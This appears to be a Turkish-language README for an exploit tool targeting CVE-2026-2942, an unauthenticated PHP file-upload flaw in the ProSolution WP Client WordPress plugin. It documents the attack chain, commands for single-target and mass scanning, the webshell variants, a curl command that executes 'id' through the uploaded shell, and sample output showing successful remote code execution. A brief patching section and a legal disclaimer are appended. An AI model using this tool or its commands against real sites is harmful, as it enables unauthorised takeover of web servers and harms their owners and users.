Share
## https://sploitus.com/exploit?id=B950AB70-0ACA-535A-AAC2-AC09E39F8307
# CVE-2026-2942
# ProSolution WP Client — Unauthenticated File Upload Scanner
> **CVE Reference:** ProSolution WP Client Plugin — Arbitrary PHP File Upload via MIME Spoofing
> **Risk Seviyesi:** 🔴 Kritik
> **Etkilenen:** ProSolution WP Client WordPress Eklentisi
---
## 📌 Zafiyet Hakkında
ProSolution WP Client eklentisinin `proSol_fileUploadProcess` AJAX action'ı, yüklenen dosyaların **MIME tipini kontrol eder ancak uzantıyı doğrulamaz.**
Bu sayede saldırgan `.php` uzantılı bir dosyayı `image/jpeg` MIME tipiyle göndererek sunucuya **webshell yükleyebilir.**
### Saldırı Zinciri
```
1. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
files[]=shell.php (MIME: image/jpeg)
│
▼
2. Sunucu MIME tipini kabul eder, uzantıyı kontrol etmez
│
▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
│
▼
4. Saldırgan shell URL'sine erişir → RCE
```
---
## 🛠️ Kurulum
```bash
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
```
### Gereksinimler
```txt
requests
```
---
## 🚀 Kullanım
### Tekil Hedef
```bash
python prosol_upload.py -u http://hedef.com
```
### Shell Doğrulama ile
```bash
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
```
### Toplu Tarama
```bash
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
```
### Proxy ile (Burp Suite)
```bash
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
```
### Özel Shell Tipi
```bash
python prosol_upload.py -u http://hedef.com --shell-type full
```
---
## ⚙️ Parametreler
| Parametre | Kısa | Açıklama | Varsayılan |
|---|---|---|---|
| `--url` | `-u` | Tekil hedef URL | — |
| `--list` | `-l` | Hedef listesi dosyası | — |
| `--threads` | `-t` | Thread sayısı | `10` |
| `--output` | `-o` | Çıktı dosyası | `uploaded.txt` |
| `--shell-name` | — | Yüklenecek dosya adı | `shell.php` |
| `--shell-type` | — | Shell tipi | `system` |
| `--verify` | — | Yükleme sonrası RCE testi | `False` |
| `--verify-cmd` | — | Doğrulama komutu | `id` |
| `--proxy` | — | Proxy URL | — |
| `--timeout` | — | İstek timeout (sn) | `10` |
---
## 💀 Shell Tipleri
| Tip | Payload | Açıklama |
|---|---|---|
| `system` | `` | Temel sistem komutu |
| `passthru` | `` | Ham çıktı |
| `exec` | `` | Sessiz çalıştırma |
| `assert` | `` | POST ile eval |
| `b64` | `` | Base64 obfuscation |
| `full` | shell_exec + system + exec fallback | Tam kapsamlı shell |
---
## 📂 Shell Yükleme Konumu
```
WordPress Kök/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← Shell burada
```
Yükleme sonrası erişim:
```bash
curl "http://hedef.com/wp-content/uploads/prosolwpclient/[dosya].php?cmd=id"
# uid=33(www-data) gid=33(www-data)
```
---
## 📊 Çıktı Durumları
| Durum | Açıklama |
|---|---|
| `★ UPLOADED` | Shell başarıyla yüklendi |
| `✓ RCE OK` | Shell doğrulandı, komut çalıştı |
| `- BLOCKED` | Sunucu PHP uzantısını engelledi |
| `~ TIMEOUT` | Bağlantı zaman aşımı |
| `~ CONN_ERR` | Bağlantı hatası |
| `! HTTP_ERR` | HTTP hata kodu |
---
## 🖥️ Örnek Çıktı
```
[*] 3 hedef | ProSolution File Upload | threads=10
[★ UPLOADED ] http://hedef1.com
Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/66c87e2bbe.php
Yeni Ad : 66c87e2bbe.php (renamed=True)
[✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────
```
---
## 🛡️ Savunma / Yama
Etkilenen sistemleri korumak için:
- ✅ `uploads/` dizininde PHP çalıştırmayı `.htaccess` ile engelleyin:
```apache
Deny from all
```
- ✅ Eklentiyi güncel tutun veya kaldırın
- ✅ Dosya yükleme işlemlerinde **uzantı whitelist** uygulayın
- ✅ Sunucu tarafında MIME tipi doğrulaması yapın (`finfo_file()`)
- ✅ WAF kurallarına `.php` yükleme engeli ekleyin
---
## ⚠️ Yasal Uyarı
> Bu araç yalnızca **yetkili sistemlerde**, **etik hacking** ve **penetrasyon testi** kapsamında kullanılmak üzere geliştirilmiştir.
> İzinsiz sistemlerde kullanımı **Türk Ceza Kanunu 243-245. maddeleri** ve uluslararası siber suç yasaları kapsamında **suç teşkil eder.**
> Geliştirici, aracın kötüye kullanımından doğacak hiçbir hukuki sorumluluk kabul etmez.
---
## 📄 Lisans
MIT License — Yalnızca eğitim ve araştırma amaçlıdır.